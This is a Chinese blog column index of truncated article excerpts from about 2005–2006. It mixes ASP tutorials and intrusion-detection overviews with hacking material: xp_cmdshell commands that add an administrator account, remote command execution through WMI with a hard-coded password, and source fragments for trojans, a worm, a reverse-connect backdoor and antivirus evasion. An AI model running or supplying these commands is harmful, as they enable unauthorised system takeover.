古剑楠的专栏

转载 功能完整的分页程序

主　　题：【绝对原创】功能完整的分页程序 + 高效SQL查询语句作　　者：sunshift (http://www.56390.com/)等　　级：信 誉 值：99所属论坛：Web 开发 ASP问题点数：10回复次数：28发表时间：2006-5-25 10:30:53 功能完整的分页程序 + 高效SQL查询语句 Pow

转载 简单的广告过滤处理方法

[asp]简单的广告过滤处理方法 这是CNBRUCE的一篇贴子~!感觉不错~BLOG一直被人在日志评论中链接广告。虽然加了验证码，使得广告机器发布广告的机会减少了；但还是有不少广告发布者手工来本BLOG发布。烦透了~！总不想就这样让这些人强奸玷污着，加了一个判断直接过滤。大体流程是如下的：1，本日志评论对公众是开放的，言论自由但不代表本BLOG意思，只做交流之用。2，偶有广告，是否广告基本一看

转载 ASP中实现文件上传方法的研究

当前，基于浏览器/服务器模式的应用比较流行。当用户需要将文件传输到服务器上时，常用方法之一是运行FTP服务器并将每个用户的FTP默认目录设为用户的Web主目录，这样用户就能运行FTP客户程序并上传文件到指定的 Web目录。这就要求用户必须懂得如何使用FTP客户程序。因此，这种解决方案仅对熟悉FTP且富有经验的用户来说是可行的。 如果我们能把文件上传功能与Web集成，使用户仅用Web浏览器就能完成上

转载 弹出窗口代码

经常上网的朋友可能到过这样一些网站，一进入首页立刻会弹出一个窗口，或者按一个链接或按钮弹出，通常在这个窗口里会显示一些注意事项、版权信息、警告、欢迎光顾之类的话或者作者想要特别提示的信息。其实制作这样的页面非常容易，只要往该页面的HTML里加入几段javascript代码即可实现。下面我就带你剖析它的奥秘。 【最基本的弹出窗口代码】 其实代码非常简单：  window.open (page.ht

转载 让Google伪装你的木马地址

让Google伪装你的木马地址伪装后效果：你的真实的木马地址将会http://www.google.com/search?hr=zh-CN&q%%%% 这种形式的url，在浏览器输入述地址后将会直接转到你真实的木马地址。 Btw：方法不怎么好，只是点想法，说出来交流交流。 今天在QQ个人主页那一栏想着个性一下，本人的blog地址比较长，呵呵，就是有点难看，所以就想着写个看起来比较牛的地址，呵呵（小

原创 sql入侵中用到的一些命令

sql入侵中用到的一些命令/** 功能:通过xp_cmdshell执行命令* 本例:添加一个系统帐号,并加入管理员组.*/exec master.xp_cmdshell net user kgdiwss 123 /addexec master.xp_cmdshell net localgroup administrators kgdiwss /add/** 功能:将执行结果写入htm文件*

转载 菜鸟破解email账号的技巧

菜鸟破解email账号的技巧电子邮件并不是安全的，在邮件的发送、传送和接收整个过程中的每个环节都可能存在薄弱环节，恶意用户如果利用其漏洞，就能够轻易的破解出账号，获得邮件内容。 　　一． 利用邮件服务器操作系统的漏洞 　　邮件服务器软件是运行在特定的操作系统上的，如Linux、Windows NT/2000等。这些操作系统的默认安装和配置都是不安全的，黑客可以轻易入侵系统，获得所有用户名和密码。

转载 九点提升权限终极技巧

九点提升权限终极技巧   [ 日期: 2005-07-09 00:01 | 作者: d99 | 来自: http://blog.hackbase.com/cat | | ]   转自http://blog.hackbase.com/cat提升

转载 后门清除完全篇

后门清除完全篇   [ 日期: 2005-07-09 00:22 | 作者: d99 | 来自: www.hackbase.com | | ]   来源:www.hackbase.com 前言   后门！相信这个词语对您来说一定不会陌生，它的

转载 一种新的穿透防火墙的数据传输技术

一种新的穿透防火墙的数据传输技术   [ 日期: 2005-07-09 11:58 | 作者: d99 | 来自: 本站原创 | | ]   一种新的穿透防火墙的数据传输技术Author : ZwelLEmail  : zwell@sohu.

转载 用Winsock实现对网站数据库的数据注入

用Winsock实现对网站数据库的数据注入   [ 日期: 2005-07-09 12:03 | 作者: d99 | 来自: 情感网络 | | ]   来源：情感网络在写这篇文章之前，有必要对"注入"一词阐述一下。区别于通常的SQL注入，这里

原创 网络经典命令行－网络安全工作者必杀技

网络经典命令行－网络安全工作者必杀技   [ 日期: 2005-10-02 21:26 | 作者: d99 | 来自: 天极网 | | ]   网络经典命令行－网络安全工作者必杀技 1.最基本，最常用的，测试物理网络的   ping 192.

转载 网页恶意代码的防疫

网页恶意代码的防疫   [ 日期: 2005-10-18 15:26 | 作者: d99 | 来自: 网络共享 | | ]   很多情况下好多朋友都被恶意代码烦透了吧，我在各个安全网站到处漫游，看能不能帮大家一把，终于让我找到了这个好文章，大

转载 一种可以穿透还原卡和还原软件的代码

一种可以穿透还原卡和还原软件的代码   [ 日期: 2005-10-18 15:41 | 作者: d99 | 来自: 网络共享 | | ]   一种可以穿透还原卡和还原软件的代码CVC/GB  风般的男人还原卡和还原软件被广泛运用于各种公共场

转载 DOS下改注册表和系统还原

DOS下改注册表和系统还原   [ 日期: 2005-10-18 15:48 | 作者: d99 | 来自: 军团 | | ]   问：怎样在DOS下改注册表和系统还原?如题.怎样在DOS下改注册表和系统还原?敬请赐教! 答：注册表编辑器Re

转载 突破一流信息监控拦截系统进行SQL注射

突破一流信息监控拦截系统进行SQL注射我晕，原来服务器上装了一个叫"一流信息监控拦截系统"的BT玩意儿，扫兴！查查它老底先。Google一下"一流信息监控拦截系统"。原来这是广州××信息科技公司开发的内容监控系统，用来监控拦截非法信息的，当然也包括SQL注射。它主页上软件功能介绍赫然写着："软件可以全面拦截任何的SQL注入式的攻击，就算多差的程序都不用担心了"。嘿嘿，大哥，牛皮不要吹得太大哟，

转载 一些经典的vbs脚本

一些经典的vbs脚本   [ 日期: 2005-11-26 23:33 | 作者: d99 | 来自: 东邪 | | ]   1.文件下载(无回显) echo iLocal = LCase(WScript.Arguments(1)) >ige

转载 提升权限终极技巧

提升权限终极技巧   [ 日期: 2005-11-28 02:53 | 作者: d99 | 来自: WekweN | | ]   提升权限终极技巧 作者：WekweN http://www.wrsky.com本篇文章结合了许多高手提升权限的技

转载 无dll无进程木马源代码

无dll无进程木马源代码   [ 日期: 2006-04-30 02:22 | 作者: d99 | 来自: 转载 | | ]   #include //#include #include #include #pragma comment(li

原创 震荡波病毒源代码

  震荡波病毒源代码   [ 日期: 2006-04-30 02:22 | 作者: d99 | 来自: 转载 | | ]   #include  #include  #include  #include  #include  #define

原创 3721驻留机制简单研究

  3721驻留机制简单研究   [ 日期: 2006-04-30 02:33 | 作者: d99 | 来自: 转载 | | ]   3721驻留机制简单研究www.hacker.com.cn 黑客防线简单研究了一下3721的机制，写在这里

转载 如何快速判断你的网段内谁的网卡处在混杂模式

  如何快速判断你的网段内谁的网卡处在混杂模式   [ 日期: 2006-04-30 02:41 | 作者: d99 | 来自: 转 | | ]   如何快速判断你的网段内谁的网卡处在混杂模式首先要说明 用网络特工之类的软件网卡一定会开启混

转载 利用ASP远程注册DLL的方法

原创 1k(程序体积1kb) 反向连接,零管道后门

1k(程序体积1kb) 反向连接,零管道后门(转)   [ 日期: 2006-05-17 01:06 | 作者: d99 | 来自: 转 | | ]   写ShellCode的时候写的~C版本代码~~没用就丢出来了~CODE:/*  1k(程

转载 对抗杀毒软件的内存扫描

对抗杀毒软件的内存扫描 (转)   [ 日期: 2006-05-17 01:07 | 作者: d99 | 来自: 转 | | ]   Author: PolymorphoursEmail: Polymorphours@whitecell.or

转载 无DLL,插IE下载者 3.5K

无DLL,插IE下载者 3.5K (转)   [ 日期: 2006-05-17 01:11 | 作者: d99 | 来自: 转 | | ]   //好多兄弟都找我要这个,我就把源码帖在这里把.386.model flat,stdcallopt

原创 SA权限仅需xp_regwrite即可有dos shell

SA权限仅需xp_regwrite即可有dos shell (转)   [ 日期: 2006-06-24 02:43 | 作者: d99 | 来自: 转 | | ]   删除xp_cmdshell和xplog70.dll不用担心，只要保留xp

转载 最详细的SQL注入相关的命令整理

最详细的SQL注入相关的命令整理 (转)   [ 日期: 2006-09-17 12:32 | 作者: d99 | 来自: 转 | | ]   1、   用^转义字符来写ASP(一句话木马)文件的方法:?   http://192.168.1

原创 asp使用wmi远程执行命令

asp使用wmi远程执行命令  set ww=server.createobject("wbemscripting.swbemlocator")set cc=ww.connectserver("192.168.2.1","root/cimv2","administrator","xiaolu")set ss=cc.get("Win32_ProcessStartup")Set oC=ss.S

原创 IE无法打开网页的常见原因及解决

一、网络设置的问题 这种原因比较多出现在需要手动指定IP、网关、DNS服务器联网方式下，及使用代理服务器上网的。仔细检查计算机的网络设置。 二、DNS服务器的问题 当IE无法浏览网页时，可先尝试用IP地址来访问，如果可以访问，那么应该是DNS的问题，造成DNS的问题可能是连网时获取DNS出错或DNS服务器本身问题，这时你可以手动指定DNS服务（地址可以是你当地ISP提供的D

转载 IDS逃避技术和对策

标题：IDS逃避技术和对策时间：2004-10-02 来源：www.cexpress.com 文摘内容： --------------------------------------------------------------------------------http://www.linuxaid.com.cn1.字符串匹配的弱点2

转载 入侵检测系统亟待发展

标题：入侵检测系统亟待发展时间：2004-06-13 来源：计算机产品与流通 入侵检测系统（Intrusion Detect System）目前基本上分为以下两种：主机入侵检测系统（HIDS）和网络入侵检测系统（NIDS）。主机入侵检测系统分析对象为主机审计日志，所以需要在主机上安装软件，针对不同的系统、不同的版本需安装不同的主机引擎，安装配置较为复杂，同时对系统的运

转载 侦测系统入侵事项

标题：侦测系统入侵事项时间：2004-06-13 来源：http://www.cert.org.tw 这篇文章提供对系统入侵检测的建议做法，以下共分十点: 1. 检视连线记录档中是否有不寻常的来源位置或不寻常的操作动作。例如, 检查你最後的登录时间, 程序的执行记录以及syslog所做的记录。除非你的记录档写在只能新增资料(append-only)的边上, 不然这些

原创 入侵防范技术动态分析

标题：入侵防范技术动态分析时间：2004-06-13 来源：http://kb.hbstd.gov.cn/ 入侵防范技术动态分析许榕生（国家计算机网络防范中心 中科院高能所计算中心 北京 100007） 目前的互联网基本上还是美国在APARNET基础上发展起来的，至今用的仍然是十多年前科研机构系统用的TCP/IP第四版本。由于当初对安全问题缺

转载 入侵检测技术综述

标题：入侵检测技术综述时间：2004-06-13 来源：安全培训基地 作者：不详 系统风险与入侵检测 　 计算机网络的安全是一个国际化的问题，每年全球因计算机网络的安全系统被破坏而造成的经济损失达数百亿美元。进入新世纪之后，上述损失将达2000亿美元以上。 　　政府、银行、大企业等机构都有自己的内网资源。从这些组织的网络办公环境可以看出，行政结构是金字塔

转载 入侵检测技术概论

标题：入侵检测技术概论时间：2004-06-13 来源：http://www.meiclub.com/ 摘要 随着计算机技术尤其是网络技术的发展，计算机系统已经从独立的主机发展到复杂的、互连的开放式系统，这给人们在信息利用和资源共享上带来了很大的便利。与此同时，人们又面临着由于入侵而引发的一系列安全问题的困扰。本文介绍了当今网络安全技术的热点之一：入侵检测技术。文章首先讲述了

转载 入侵检测系统原理和实践

标题：入侵检测系统原理和实践时间：2004-06-13 来源：http://www.fanqiang.com 作者：David Elson 翻译：ishtar IDS:THEORY&PRACTICE 入侵检测系统：理论和实践 自从计算机以网络方式被连接开始，网络安全就成为一个重大问题，随着INTERNET的发展，安全系统的要求也与日俱增， 其要求之一就是入侵检

转载 入侵检测全景图

标题：入侵检测全景图时间：2004-06-13 来源：www.pcworld.com.cn IDS是新近发展起来的一项安全技术，它在网络安全体系中所发挥的作用是可以检测到入侵行为。这里所说的入侵行为涵盖范围很广，不仅包括黑客攻击，还包括各种网络异常行为，如内部网络机密信息泄漏和非法使用网络资源等等。 为了保障网络的安全，要使用很多安全产品，有防病毒产品、防火

转载 高级扫描技术及原理介绍

标题：高级扫描技术及原理介绍时间：2004-06-13 来源：www.opengram.com Scan，是一切入侵的基础，扫描探测一台主机包括是为了确定主机是否活动、主机系统、正在使用哪些端口、提供了哪些服务、相关服务的软件版本等等，对这些内容的探测就是为了“对症下药”。对主机的探测工具非常多，比如大名鼎鼎的nmap、netcat、superscan，以及国内的X-

转载 入侵检测系统（IDS）面临的三大挑战

时间：2004-06-13 来源：中国计算机报 入侵检测系统(IDS)是近十多年发展起来的新一代安全防范技术，它通过对计算机网络或系统中的若干关键点收集信息并对其进行分析，从中发现是否有违反安全策略的行为和被攻击的迹象。这是一种集检测、记录、报警、响应的动态安全技术，不仅能检测来自外部的入侵行为，同时也监督内部用户的未授权活动。IDS技术主要面临着三大挑战。 　　一、如何